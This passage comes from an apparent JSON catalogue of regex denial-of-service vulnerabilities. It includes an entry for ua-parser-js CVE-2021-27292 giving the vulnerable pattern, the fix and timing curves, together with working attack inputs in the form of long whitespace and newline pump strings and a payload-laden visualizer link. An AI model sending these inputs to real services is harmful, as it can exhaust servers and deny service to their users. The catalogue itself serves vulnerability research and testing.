A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A!","verification":{"engine":"node v22.23.1","benign_ms":0.06,"curve":[{"input_length":2501,"pumps":2500,"ms":11.92,"timed_out":false},{"input_length":5001,"pumps":5000,"ms":45.07,"timed_out":false},{"input_length":10001,"pumps":10000,"ms":178.98,"timed_out":false},{"input_length":20001,"pumps":20000,"ms":708.58,"timed_out":false}],"empirical_class":"quadratic","class_agrees":true}},{"id":"ua-parser-js-CVE-2021-27292","name":"ua-parser-js","type":"cve","cve":"CVE-2021-27292","ghsa":"GHSA-78cj-fxph-m83p","cwe":"CWE-400","ecosystem":"npm","engine":"javascript","package":"ua-parser-js","affected":">=0.7.14 <0.7.24","patched":"0.7.24","published":"2021-05-06","discovered_by":"Doyensec","regex":"]\\s+(Barnes[&\\s]+Noble\\s+|BN[RT])(V?.*)\\s+build","flags":"i","complexity":"quadratic","attack":{"prefix":"] BNT","pad":" ","suffix":"x"},"benign":"] BNTV Nook build","fix":{"type":"regex-rewrite","summary":"One of the device-detection rules used `(V?.*)\\s+build` to capture a Barnes & Noble Nook model name. The greedy `.*` and the following `\\s+` both match spaces, so on a long run of spaces that is not terminated by the literal `build`, the engine repartitions the space run between `.*` and `\\s+` from every start offset: O(n^2). ua-parser-js 0.7.24 rewrote the capture as `(\\S(?:.*\\S)?)`, which forces the model name to start and end with a non-space character. That removes the overlap with the trailing `\\s+build`, so the match fails once and the scan is linear.","commit":"https://github.com/faisalman/ua-parser-js/commit/809439e20e273ce0d25c1d04e111dcf6011eb566"},"description":"ua-parser-js parses browser/OS/device information out of User-Agent strings and is one of the most-depended-on packages in the npm ecosystem (a transitive dependency of a very large number of analytics and server-side libraries). One of its device-detection regexes, `(V?.*)\\s+build`, backtracks quadratically on a User-Agent value that reaches the Barnes & Noble branch and then contains a long run of whitespace with no trailing `build` token, because the greedy `.*` and the adjacent `\\s+` compete over the same space run.","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-27292","https://github.com/advisories/GHSA-78cj-fxph-m83p","https://github.com/faisalman/ua-parser-js/commit/809439e20e273ce0d25c1d04e111dcf6011eb566"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5D%5Cs%2B(Barnes%5B%26%5Cs%5D%2BNoble%5Cs%2B%7CBN%5BRT%5D)(V%3F.*)%5Cs%2Bbuild&in=%5D%20BNT%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20x","verification":{"engine":"node v22.23.1","benign_ms":0.16,"curve":[{"input_length":2506,"pumps":2500,"ms":10.51,"timed_out":false},{"input_length":5006,"pumps":5000,"ms":44.72,"timed_out":false},{"input_length":10006,"pumps":10000,"ms":166.24,"timed_out":false},{"input_length":20006,"pumps":20000,"ms":654.75,"timed_out":false}],"empirical_class":"quadratic","class_agrees":true}},{"id":"urllib3-CVE-2021-33503","name":"urllib3 (URL authority parser)","type":"cve","cve":"CVE-2021-33503","ghsa":"GHSA-q2q7-5pp4-w6pg","cwe":"CWE-400","ecosystem":"pypi","engine":"python","package":"urllib3","affected":"<1.26.5","patched":"1.26.5","published":"2021-06-01","discovered_by":"Adam 